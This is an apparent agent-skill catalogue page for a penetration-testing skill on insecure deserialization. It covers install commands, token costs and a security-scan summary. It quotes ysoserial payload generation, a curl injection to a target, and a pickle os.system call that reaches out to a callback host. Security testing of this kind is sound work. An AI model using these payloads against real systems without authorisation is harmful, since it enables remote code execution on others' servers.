deserialization-exploitation

deserialization-exploitation is a skill for Claude Code, Codex from MingyiSecLab/Mingyi-Atlas. It costs 65 tokens per session (5,385 once invoked), scanned A, original, Apache-2.0.

A security-testing guide for insecure deserialization, where an application turns untrusted saved data back into objects and accidentally runs embedded behavior.

In plain words
What is it for?
It is for testing Java, PHP, .NET, and Python applications that deserialize user-controlled data, including authenticated and session-gated paths.
Why use it?
It helps find unsafe handling of serialized cookies, requests, and API data that can lead to code execution or other server compromise.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit It is for testing Java, PHP, .NET, and Python applications that deserialize user-controlled data, including authenticated and session-gated paths.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/mingyiseclab/mingyi-atlas/deserialization-exploitation
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add MingyiSecLab/Mingyi-Atlas --skill deserialization-exploitation
Clone the repo
git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-Atlas

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for deserialization-exploitation

README.md
[![agentmods](https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/deserialization-exploitation/github.svg)](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/deserialization-exploitation)
Your own site
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/deserialization-exploitation"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/deserialization-exploitation/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for deserialization-exploitation

Your own site · 80×15
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/deserialization-exploitation"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/deserialization-exploitation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 65 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 5,385 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00065 $0.05385
Opus 5 $0.00032 $0.02693
Sonnet 5 $0.00013 $0.01077
Haiku 4.5 $0.00006 $0.00539

Measured 6d ago against content hash 3885e5f2fffd, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade A, and why

deserialization-exploitation scanned grade A with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

# Inject via curl curl -s 'https://<TARGET>/api/endpoint' -H 'Content-Type: application/x-java-serialized-object' --data-binary @payload_cc1.bin -o deser_response.txt

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

java -jar ysoserial.jar CommonsCollections5 'curl http://<CALLBACK>/rce' > payload_cc1.bin

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

return (os.system, ('curl http://<CALLBACK>/rce',))
src/skills/standard/exploit/web/deserialization-exploitation/SKILL.md · 305 lines

How it starts

The opening of the file, as written. The whole thing — 305 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Insecure Deserialization

Exploits applications that deserialize untrusted data, achieving Remote Code Execution (RCE) by crafting malicious serialized objects that trigger gadget chains.

Blind deserialization sinks frequently appear "unreachable" only because the request lacks a session cookie that gates the deserialize path (auth_tier, role flag, CSRF-bound session). Before concluding the sink is wrong:

  1. Re-check session cookies. Enumerate every cookie the app sets across anon, low-priv, and high-priv sessions. Read recon_notes.md for the "Sink preconditions" table and "Required session state" line.
  2. If recon did not enumerate cookie-gating (no preconditions table, no session-state line in handoff): bisect cookies yourself. Replay the payload with the FULL authenticated jar, then drop one cookie at a time until the sink behavior changes. The cookie whose removal silences the sink is the gating cookie.
  3. Replay with the gating cookie attached before concluding the chain or gadget is wrong.
  4. Only then consider sink-side causes (wrong gadget, wrong serialization format, length filter, allowlist).

Skipping this checkpoint is the most common false-negative pattern: the gadget chain was correct all along, but the request was unauthenticated and silently 302'd to login.

Identifying Deserialization Points

  • Java: Base64-encoded blobs starting with rO0AB (raw) or aced0005 (hex), Content-Type: application/x-java-serialized-object
  • PHP: Strings matching O:[0-9]+:" or a:[0-9]+:{, cookies/parameters with serialized data
  • .NET: VIEWSTATE parameter, Content-Type: application/soap+xml, __VIEWSTATE field
  • Python: Base64-encoded pickle data, application/x-python-pickle

Java — ysoserial

# Generate payload (common chains: CommonsCollections1-7, Spring1, Groovy1, Hibernate1)
java -jar ysoserial.jar CommonsCollections5 'curl http://<CALLBACK>/rce' > payload_cc1.bin
java -jar ysoserial.jar CommonsCollections5 'curl http://<CALLBACK>/rce' | base64 -w0 > payload_cc1_b64.txt
# CC5 → Collections 3.2.1 | CC6 → Collections 3.2.2+ | CC2,4 → Collections 4.0

# Inject via curl
curl -s 'https://<TARGET>/api/endpoint' -H 'Content-Type: application/x-java-serialized-object' --data-binary @payload_cc1.bin -o deser_response.txt

Read the full file on GitHub · 305 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 305 lines · 65 tokens per session scan A 3885e5f2fffd

Subscribe to this mod's changes

deserialization-exploitation is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 65 tokens to every session and 5,385 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 3 findings (sends data to an external url, makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.